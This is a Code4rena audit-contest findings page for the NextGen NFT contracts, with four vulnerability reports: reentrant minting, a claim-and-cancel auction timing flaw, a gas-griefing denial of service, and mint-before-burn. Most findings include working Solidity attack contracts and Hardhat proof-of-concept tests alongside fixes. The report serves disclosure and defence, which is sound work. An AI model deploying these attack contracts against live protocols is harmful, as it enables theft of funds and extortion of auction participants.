Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 43/243
Findings: 4
Award: $194.39
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L182-L183
In NextGenCore
, users can mint tokens either in the airdrop period or the public sale period. But They are restricted by maxCollectionPurchases
which restrict the number of tokens available for minting, to not exceed this limit.
This check can be bypassed, where the NextGenCore
increases the tokens minted for the user after minting the token by safe minting functionality. So the minter, which can be a smart contract implementing onERC721Received
function, can call NextGenCore::mint
again, and the check of the maximum allowance will be passed.
// NextGenCore::mint // @audit [Reentrancy can make people mint more than the max allowed] _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; }
// MinterContract::mint require( gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max" );
This problem is existed also in NextGenCore::airDropTokens
. But since this function is only called by MinterContract::airDropTokens
which is an admin-restricted call, It is kind of safe.
// NextGenCore::airDropTokens _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o); tokensAirdropPerAddress[_collectionID][_recipient] = tokensAirdropPerAddress[_collectionID][_recipient] + 1;
I wrote a smart contract that can make this attack, here is the solidity code for the contract, The file is attack/ReentrancyMint.sol
in hardhat/smart-contracts
.
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import {NextGenCore} from "../NextGenCore.sol"; import {MinterContract} from "../MinterContract.sol"; contract ReentrancyMint { NextGenCore public immutable nextGenCore; // NextGen contract MinterContract public immutable minter; // Minter contract uint256 public collectionID; // The collection that is available for minting uint256 public numberOfTokens; // Number of tokens to mint each iteration uint256 public maxAllowance; // This parameter is only needed in allowlist sale string public tokenData = '{"tdh": "100"}'; // Token data address public mintTo; // The minter address (this is used only in airdrop sales) bytes32[] public merkleProof = [bytes32(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870)]; // merkle Tree address public delegator = address(0); // Not needed uint256 iterator; // Number of reentrant calls // Deploy our contract, and set the minter and NextGenCore contracts addresses constructor(address _nextGenCore, address _minter) { nextGenCore = NextGenCore(_nextGenCore); minter = MinterContract(_minter); } /// @notice Setting the information about the collection, and the number of tokens to be minted /// @dev This function will be called before making the reentrancy attack /// @dev I made this function to store the data passed to the `MinterContract::mint`, to use it again in `onERC721Received` function setMintingFunctionData(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance) public { collectionID = _collectionID; numberOfTokens = _numberOfTokens; maxAllowance = _maxAllowance; mintTo = address(this); } /// @notice Call `MinterContract::mint` function function mintToken() public { if (collectionID == 0) revert("Data is not set"); minter.mint(collectionID, numberOfTokens, maxAllowance, tokenData, mintTo, merkleProof, delegator, 2); } /** * - call `MinterContract::mint` -> * - `NextGenCore::mint` -> * - `NextGenCore::_mintProcessing` -> * - `NextGenCore(ERC721)::_safeMint` -> * - `NextGenCore(ERC721)::_checkOnERC721Received` -> * - This function will get called at this point * - And our function will call `MinterContract::mint` again * - 4 iteration will be made * * */ function onERC721Received(address from, address to, uint256 tokenId, bytes memory data) external returns (bytes4) { // To mint 5 tokens only if (++iterator == 5) { return this.onERC721Received.selector; } // This contract will call `MinterContract::mint` again, and it will break the maxAllowance check if (collectionID > 0) { minter.mint(collectionID, numberOfTokens, maxAllowance, tokenData, mintTo, merkleProof, delegator, 2); } return this.onERC721Received.selector; } }
Then, I implemented a hardhat test to simulate the problem, you can copy/paste this test after context("Get Price", ...)
block, in nextGen.test.js
file.
context("Test `MinterContract::mint`", () => { it("should allow re-entrancy in `NextGenCore::mint`", async () => { const [, , , , , , , , , , , , , hacker] = await ethers.getSigners(); // Deploy ReentranctContract, that will make the attack const ReentrancyContract = await ethers.getContractFactory("ReentrancyMint"); const reentrancyContract = await ReentrancyContract.connect(hacker).deploy( await contracts.hhCore.getAddress(), await contracts.hhMinter.getAddress() ); // Collection 1 , which is declared previously by devs in the test file, have a maxAllowance for a user to 2 tokens. const collectionMaxAllowance = await contracts.hhCore.viewMaxAllowance(1); console.log(`Collection 1 has max Allowance: ${collectionMaxAllowance}`); // 2 // We will set the data to make `reentrancyContract` mint 1 token each iteration await reentrancyContract.connect(hacker).setMintingFunctionData(1, 1, 0); /** * - collectionId = 1 is avaialble for minting * - The reentrancy contract will mint 5 tokens now by reentering `mint` before adding that the token was minted * * - The Attacker will simply make `ReentrancyMint` contract call `MinterContract::mint` * - After making checks, the `NextGenCore` will mint an NFT to it * - _safeMint() is used to mint, so the ERC721 will call `onERC721Received`, since its a contract * - Our contract will call `MinterContract::mint` again * - We didn't added tokens minted to the address, so the `ReentrancyMint` still has 0 tokens minted * - This loops will do 4 successive iterations * - After minting 4 times by `onERC721Received` + 1 time the beginning call then we called mint 5 times * - Each time we minted 1 tokens, so the `ReentrancyMint` minted 5 tokens * - The code will complete the stored uncompleted functions in the stack (like recursion), and add tokens minted * - The mintedTokens of the user will be set to 5, but its useless now, as the hacker minted 5 tokens and passed the check * - The minter passed The check successfully, well done */ await reentrancyContract.connect(hacker).mintToken(); const reentrancyContractMintedTokens = await contracts.hhCore.retrieveTokensMintedPublicPerAddress( 1, await reentrancyContract.getAddress() ); console.log(`The reenterancyContract has ${reentrancyContractMintedTokens} tokens minted`); // 5 Tokens }); });
Manual Review + Hardhat
You must make the changes in the contract before doing the minting process, The minting proccess should be the last step, all changes should be made before interaction, following the CEI pattern.
// NextGenCore::mint - _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
It is better to change it in the airdrop too.
// NextGenCore::airDropTokens - _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o); tokensAirdropPerAddress[_collectionID][_recipient] = tokensAirdropPerAddress[_collectionID][_recipient] + 1; + _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o);
Reentrancy
#0 - c4-pre-sort
2023-11-20T09:50:00Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:00:07Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:36:10Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:23Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:21Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L125
In AuctionDemo::claimAuction
contract, the timing check checks that the timestamp equals or greater than the auction ending time.
// @audit [M: The winner can fire `claimAuction` and `cancelBid` at the exact time of ending // causing The winner to claim the NFT without paying, the the bidder to withdraw two times] require( block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true );
And in AuctionDemo::cancelBid
or AuctionDemo::cancelAllBids
, the timing check checks that the timestamp is smaller than or equal to the auction ending time.
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
So if the winner fired the claimAuction()
and the cancelBid()
function at the timestamp of the ending of the auction. He can claim the auction (get the NFT), and cancel his bid too.
1700324322
.claimAuction()
then cancelBid()
at the timestamp 1700324322
.The likelihood of this problem occurring is very low, as it should occur at the exact timestamp of the ending of the auction.
If the winner made this (fired the two functions through a contract) at a random time, and luckily the block miner set the timestamp at the exact auction ending time of the auction, The attack will take place.
The block time is ~11-13 sec, so it may occur who nows.
Miners can do this attack too, but as we said it is scarcely to happen.
I wrote a smart contract that can make this attack, here is the solidity code for the contract, The file is attack/ClaimWithoutPay.sol
in hardhat/smart-contracts
.
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import {AuctionDemo} from "../AuctionDemo.sol"; contract ClaimWithoutPay { AuctionDemo public immutable auctionDemo; // Auction contract // Deploy our contract, and set Auction address constructor(address _auctionDemo) payable { auctionDemo = AuctionDemo(_auctionDemo); } // To receive ether receive() external payable {} // participating in auction function participateToAuction(uint256 _tokenId) public payable { auctionDemo.participateToAuction{value: msg.value}(_tokenId); } // Claim the auction, and cancel our bid function claimWithoutPay(uint256 _token, uint256 _index) public { auctionDemo.claimAuction(_token); auctionDemo.cancelBid(_token, _index); } // To accept the NFT, when receiving it function onERC721Received(address from, address to, uint256 tokenId, bytes memory data) external returns (bytes4) { return this.onERC721Received.selector; } }
I implemented a hardhat test to simulate the problem, you can copy/paste this test after context("Get Price", ...)
block, in nextGen.test.js
file.
context("Test `AuctionDemo`", () => { it("should allow The winner to claim his prize, and ", async () => { const [, , , , , , , , , , , , , receipent, bidder1, bidder2, winner] = await ethers.getSigners(); // Deploy Auction Contract const auction = await ethers.getContractFactory("AuctionDemo"); const hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress() ); const ONE_DAY = 24 * 60 * 60; const ONE_ETHER = 1000000000000000000n; // Deploy `ClaimWithoutPay` which will be the winner, and claim the auction without bidding const ClaimWithoutPay = await ethers.getContractFactory("ClaimWithoutPay"); const claimWithoutPayContract = await ClaimWithoutPay.deploy(await hhAuction.getAddress(), {}); // Get the current block.timestamp const blockNumber = await ethers.provider.getBlockNumber(); const block = await ethers.provider.getBlock(blockNumber); const currentTimestamp = block.timestamp; // This token will be the third token, where two tokens have been minted in the previous `context` await contracts.hhMinter.mintAndAuction( receipent.address, // receipent address '{"tdh": "100"}', // _tokenData 2, //_varg0 3, // _collectionID currentTimestamp + ONE_DAY * 7 // 7 days ); // The tokenId of the NFT auctioned const auctionTokenId = (await contracts.hhCore.viewTokensIndexMin(3)) + (await contracts.hhCore.viewCirSupply(3)) - BigInt(1); // bidder1 participates in auction, and placed 1 ether await hhAuction.connect(bidder1).participateToAuction(auctionTokenId, { value: ONE_ETHER }); // bidder2 participates in auction, and placed 2 ether await hhAuction.connect(bidder2).participateToAuction(auctionTokenId, { value: ONE_ETHER * BigInt(2) }); // `claimWithoutPayContract` contract (The winner) participates in the auction, and placed 3 ether await claimWithoutPayContract .connect(winner) .participateToAuction(auctionTokenId, { value: ONE_ETHER * BigInt(3) }); // The receipent is a trust EOA owner by NextGenTeam, and they will make the AuctionDemo has approval // for the token, in order to transfer it to the winner await contracts.hhCore.connect(receipent).approve(await hhAuction.getAddress(), auctionTokenId); // Before doing the attack, the contract `AuctionDemo` should has money, after `claiming auction` // This will occuar if there is more than one auction in the `AuctionDemo` // // This token will be the fourth token, where two tokens have been minted in the previous `context` // The second auction, is used to make the contract `AuctionDemo` has balance from the two auctions // And the steal can occuars await contracts.hhMinter.mintAndAuction( receipent.address, // receipent address '{"tdh": "100"}', // _tokenData 2, //_varg0 3, // _collectionID currentTimestamp + ONE_DAY * 14 // 14 days ); // The second auctioned token exceeds the previous token by 1. // We made this second auction, and made a bid with 3 ETH, so that there will be excessive 3 ETH // in `AuctionDemo` when claiming the auction 1. await hhAuction .connect(bidder1) .participateToAuction(auctionTokenId + BigInt(1), { value: ONE_ETHER * BigInt(3) }); // The balance of the `claimWithoutPayContract` before claiming let claimWithoutPayContractBalance = await ethers.provider.getBalance( await claimWithoutPayContract.getAddress() ); console.log(`The balance of the 'ClaimWithoutPay' contract : ${claimWithoutPayContractBalance}`); const auctionEndingTime = await contracts.hhMinter.getAuctionEndTime(auctionTokenId); // Get the current time const blockNumber2 = await ethers.provider.getBlockNumber(); const block2 = await ethers.provider.getBlock(blockNumber2); const currentTimestamp2 = block2.timestamp; const timeDifference = Number(auctionEndingTime) - currentTimestamp2; // The auction period is 7 days, and an exact 7 days has been passed. // EX: if the auction ends at `1700324322`, we will make the transaction at timestamp = `1700324322` await network.provider.send("evm_increaseTime", [timeDifference - 1]); await network.provider.send("evm_mine", []); /** * --> Now lets see `AuctionDemo` balance * - From auction 1 --> (1 ETH, 2 ETH, 3 ETH) - Total 6 ETH * - From auction 2 --> (3 ETH) = Total 3 ETH * - So the total balance of the `AuctionDemo` is 9 ETH * - When claiming auction 1, the refunds will go to bidder 1 and bidder 2 (-3 ETH) * - transfereing the NFT to the winner * - Transfere the winner bid to the devs (-3 ETH) * * ---> AuctionDemo should not do anything else, and it should contains 3 ETH in balance from teh auction 2 * * - What will occuar is that the winner itself will also withdraw his balance (-3 ETH) * - The winner will cancel his bid, after claiming * - So `AuctionDemo` contract will have 0 ETH in claiming the first auction instead of 3 ETH. */ await claimWithoutPayContract.connect(winner).claimWithoutPay(auctionTokenId, 2); console.log(await claimWithoutPayContract.getAddress()); claimWithoutPayContractBalance = await ethers.provider.getBalance( await claimWithoutPayContract.getAddress() ); console.log(`The balance of the 'ClaimWithoutPay' contract : ${claimWithoutPayContractBalance}`); // 3 ETH console.log(`Owner of auctioned token: ${await contracts.hhCore.ownerOf(auctionTokenId)}`); // 0x84eA74d481Ee0A5332c457a4d796187F6Ba67fEB console.log(`Auction Demo balance; ${await ethers.provider.getBalance(await hhAuction.getAddress())}`); // 0 }); });
Manual Review + Hardhat
One condition should remove the equal sign, to prevent this kind of thing from happening.
We will update the AuctionDemo::claimAuction
function and make it available for claiming after the ending period by 1 second.
require( - block.timestamp >= minter.getAuctionEndTime(_tokenid) && + block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true );
So the person can not cancel the bid at the time of claiming, as they do not overlap at any time.
Invalid Validation
#0 - c4-pre-sort
2023-11-14T13:41:15Z
141345 marked the issue as duplicate of #1370
#1 - c4-pre-sort
2023-11-14T14:21:03Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-01T15:21:16Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T15:21:25Z
alex-ppg marked the issue as duplicate of #1788
#4 - c4-judge
2023-12-08T18:04:18Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-09T00:20:29Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
In AuctionDemo::claimAuction
, the function can be permanently disabled, and it is subjected to revert with an out of gas
reason, even if you submitted it with the max gas available in block size which is 30 million.
The function returns bids to the bidders, and the winner gets the NFT. So if one of the bidders consumes all the gas supplied to it, which will be {initial gas * (63/64)^depth(=1)}
, there will be little gas left. This will affect transferring funds to the next bidders and the NFT to the winner, which makes it vulnerable to to out of gas
revert.
If the bidder is a contract that consumes a lot of gas on receiving the ETH, as the snipped code below, It can disable claiming auction permanently.
// The receiver will consume all gas provided to it {gas * (63/64)^depth(=1)} receive() external payable { uint256 i; while (i < 1e9) { i++; } }
We will discuss an example of when this bidder (gasWaster) participated in the auction two times (this is allowed in the Auction participating structure).
AuctionDemo::claimAuction
function with 30M
as gas for the tx (the maximum available amount)out of gas
when submitting max available gas, making the function disabled permanently.Here is the amount of gas that will left after sending ETH to the gasWaster in the first and second time.
Bidder | Avaialbe Gas | Calculate the sent gas | Gas Used | Remaning Gas |
---|---|---|---|---|
1 | 30,000,000 | 30,000,000 * (63/64)^1 | 29,531,250 | 468,750 |
2 | 468,750 | 468,750 * (63/64)^1 | 461,426 | 7,324 |
7,324 gas left from 30M! This will not make any other external call occur, the function reverts with an out of gas
error.
We are calling the function with the maximum amount of gas available, so we can't increase the gas above this value.
The function is totally locked, no one can call it, it is subjected to a DoS attack on the blockchain (EVM) level not just the smart contract level.
The problems that will occur:
As we saw the gas used by the gasWaster is ~29,531,250
, leaving ~461,426
in the first call.
I tested when the function will revert with out of gas
in case the gasWaster participated only one time, it gives me that it will revert after ~28 calls after the gasWaster call, this number is the maximum it can't afford, it can revert before this depending on the gasWaster call position.
NOTE: This problem is not the same as the unchecked call problem submitted by the bot. The out of gas
, will not get solved by checking on the resulting value. If we add the check on success (as the bot report said), we will revert because of the out of gas
from the external contract. So the function will revert with the reason external call failed
when adding the bot suggestion. And if the function is left unchecked, which is good in this function especially, the function can revert with out of gas
. No way to escape from this situation.
Why does a person pay ETH to just spoil the auction
The problem in the contract is that it's not a normal out of gas
and locked ETH, as there are a lot of things that can encourage hackers to make this attack, as they will gain profit from it.
The hacker can lock a valuable NFT auction, and ask the winner for money to allow the function (claimAuction
) to fire, here is an example:
receive() external payable { uint256 i; if (lockAuction /* gasWaster control this variable in the contract */) { while (i < 1e9) { i++; } } }
Artists will have to pay to rescue the auction and people's funds by paying money to the hacker, as some NFTs worth millions.
The problems that will affect the protocol and business
NOTE:1/64
and gas problems lie at a medium level in most cases, but the problem is that in this contract, it will cause a lot of losses, and break the Protocol's main functionality, which is auctioning valuable NFTs. So I made it a HIGH bug since the protocol service will crash because of it.
I wrote a smart contract that can make this attack, here is the solidity code for the contract, The file is attack/GasWastageAuctioneer.sol
in hardhat/smart-contracts
.
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import {AuctionDemo} from "../AuctionDemo.sol"; contract GasWastageAuctioneer { AuctionDemo public immutable auctionContract; // NextGen contract // Deploy our contract, and set the minter and NextGenCore contracts addresses constructor(address _auctionContract) { auctionContract = AuctionDemo(_auctionContract); } // Wasting gas with receiving ETH receive() external payable { uint256 i; // The hacker can make a condition which gives him the possibility // to bargain for the cancellation of gas wastage in exchange for money while (i < 1e9) { i++; } } // gasWaster participate to auction function participateInAuction(uint256 _tokenId) external payable { auctionContract.participateToAuction{value: msg.value}(_tokenId); } }
Then, I implemented a hardhat test to simulate the problem, you can copy/paste this test after context("Get Price", ...)
block, in nextGen.test.js
file.
context("Test `AuctionDemo::claimAuction`", () => { it("It should block the `AuctionDemo::claimAuction` permenantly through `out of gas` error", async () => { const [, , , , , , , , , , , , , receipent, bidder1, bidder2, gasWaster] = await ethers.getSigners(); const ONE_DAY = 24 * 60 * 60; const ONE_TENTH_ETHER = 100000000000000000n; // Deploy Auction contract const auction = await ethers.getContractFactory("AuctionDemo"); const hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress() ); // Deploy GasWastageBidder, that will make the attack const GasWastageBidder = await ethers.getContractFactory("GasWastageBidder"); const gasWastageBidder = await GasWastageBidder.connect(gasWaster).deploy(await hhAuction.getAddress()); // Get the current block.timestamp const blockNumber = await ethers.provider.getBlockNumber(); const block = await ethers.provider.getBlock(blockNumber); const currentTimestamp = block.timestamp; // This token will be the third token, where two have been minted in the previous `context` await contracts.hhMinter.mintAndAuction( receipent.address, // receipent address '{"tdh": "100"}', // _tokenData 2, //_varg0 3, // _collectionID currentTimestamp + ONE_DAY * 7 // 7 days (The auction period) ); // The tokenId of the NFT auctioned const auctionTokenId = (await contracts.hhCore.viewTokensIndexMin(3)) + (await contracts.hhCore.viewCirSupply(3)) - BigInt(1); // The gasWaster participated in the auction First in 1st and 2nd positions in the auction, and placed .1 ether await gasWastageBidder.connect(gasWaster).participateInAuction(auctionTokenId, { value: ONE_TENTH_ETHER }); // Comment/remove this code (the second gasWaster participation) to prevent `out of gas revert` and see the gas usage await gasWastageBidder .connect(gasWaster) .participateInAuction(auctionTokenId, { value: ONE_TENTH_ETHER + BigInt(1) }); // Another peaple participater in the auction (+another 10 Bids) for (let i = 1; i <= 4; i++) { const bidder1Value = BigInt(i * 2); // 2, 4, 6, 8, 10 const bidder2Value = BigInt(i * 2) + BigInt(1); // 3, 5, 7, 9, 11 await hhAuction .connect(bidder1) .participateToAuction(auctionTokenId, { value: ONE_TENTH_ETHER * bidder1Value }); await hhAuction .connect(bidder2) .participateToAuction(auctionTokenId, { value: ONE_TENTH_ETHER * bidder2Value }); } // Auciton ended, and bidder2 is the winner await network.provider.send("evm_increaseTime", [ONE_DAY * 8]); await network.provider.send("evm_mine", []); // The receipent is a trust EOA owner by NextGenTeam, and they will make the AuctionDemo has approval // for the token, in order to transfer it to the winner const hhAuctionAddress = await hhAuction.getAddress(); await contracts.hhCore.connect(receipent).approve(hhAuctionAddress, auctionTokenId); // bidder2 wants to claim the auction, gasLimit is 30 million (maximimum amount of gas) const tx = await hhAuction.connect(bidder2).claimAuction(auctionTokenId, { gasLimit: 30_000_000 }); const txReceipt = await tx.wait(); // This part will be reached only if the gasWaster participated only one time const gasUsedInETH = txReceipt.gasUsed * txReceipt.gasPrice; console.log( `Gas used by the winner to claim his prize: ${txReceipt.gasUsed} gas = ${ethers.formatEther( gasUsedInETH.toString() )} ETH` ); }); });
This js test script will give the following error Transaction ran out of gas
, disabling the claiming auction permanently.
Keep in mind that the javascript script will make two while loops each making 1 billion iterations. The transaction will revert (internally from the blockchain, not the js script itself) before completing these iterations. If your PC has an old processor, you can terminate the process if you find the PC goes hotter.
Manual Review + Hardhat
There are two solutions to this problem:
Simple, we can check for the caller of the AuctionDemo::participateToAuction
function, and revert if it is a contract.
// AuctionDemo function participateToAuction(uint256 _tokenid) public payable { + address sender = msg.sender; + uint256 codeSize; + assembly { + codeSize := extcodesize(sender) + } + require(codeSize == 0, "Contracts are not allowed"); require( msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true ); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
NOTE: this check is not enough to check if the caller is a contract or not, as extcodesize(sender)
returns 0 in the following cases:
So it is not the best check, and the problem still can happen if the contract was in the construction for example.
Although restricting gas passed is not the best practice, it will solve the problem we are facing.
Instead of forwarding all the gas (63/64
) to the external call, we will restrict it by a given value, since it's just sending ETH to an address, the gas cost will be relatively constant ~21000
. So we can pass 50k to be sure that the normal transfer will be made successfully.
// AuctionDemo::claimAuction -> else if block // Make the gas equals 50_000 if gasLeft is greater than 50_000 + uint256 gasForwarded = gasleft() < 50_000 ? gasleft() : 50_000; (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{ value: auctionInfoData[_tokenid][i].bid, + gas: gasForwarded }(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
Now, if the receiver (gasWaster) consumed all the gas, he would not take the money, not affecting other bidders.
Auction biddings will be passed successfully, and the gasWaster is the person who will get punished.
There is no way to recover failed transactions, and AuctionDemo
has no function to withdraw ETH in case of a problem, but this is not the problem we are discussing.
As we said before, listening to bots' suggestions and checking this function AuctionDemo::claimAuction
will make the auction vulnerable to a DoS attack, so the devs should keep this in mind. Here's the scenario
receive() external payable { revert("Break auction"); }
DoS
#0 - c4-pre-sort
2023-11-20T09:50:30Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:51:01Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:51:23Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:55:06Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: ast3ros
Also found by: 00xSEV, Al-Qa-qa, CaeraDenoir, Jiamin, Juntao, Ruhum, bart1e, circlelooper, crunch, gumgumzum, rishabh, smiling_heretic, ustas
191.4685 USDC - $191.47
In NextGenCore::burnToMint
function, which is used to mint a token by burning another token, the minting for the new token happens before burning the burned token. The minting is done through safeMint()
function. So the minter can use the token before burning it in another position, leading to some problems.
The user can reuse the token to mint another token, where the token is not burned yet. But since burn()
function reverts if the token does not exist, minting more than one token using the same burned token can't occur.
The problem that can occur is that the user can use this token, in an NFT trading platform for example. So it will be listed for sailing without actually being owned by anyone.
Another problem, it can be listed for auction before burning in a public NFT marketplace like Opensea or Rarible, and the auctions and sales will not work, since the token does not even exist.
There are other problems that can happen that we can't predict since you are giving the minter the freedom to use the NFT (burned token) before burning it.
As it's clear in the snipped code the minting is done, then the burning.
// NextGenCore::burnToMint _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); // burn token _burn(_tokenId);
_mintProcessing()
calls _safeMint()
function, which is existed in ERC721
.
// NextGenCore::_mintProcessing function _mintProcessing( ... ) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
_safeMint()
checks if the receiver is a contract or not, and it fires onERC721Received
on it.
// ERC721::_checkOnERC721Received if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { ... } } else { ... }
Now the receiver, a smart contract with onERC721Received
function, can do anything with the NFT with the burned tokenId before burning it.
contract ReentrancyBurnToMint { ... function onERC721Received(address from, address to, uint256 tokenId, bytes memory data) external returns (bytes4) { // Do any thing with the burned token return this.onERC721Received.selector; } }
Manual Review
Burn before minting the new token, to make minting the last step. This will secure the protocol from reentrancy before burning the token.
// NextGenCore::burnToMint -> if block - _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); // burn token _burn(_tokenId); burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1; // mint the token in the last step + _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
Reentrancy
#0 - c4-pre-sort
2023-11-20T09:51:10Z
141345 marked the issue as duplicate of #1597
#1 - c4-pre-sort
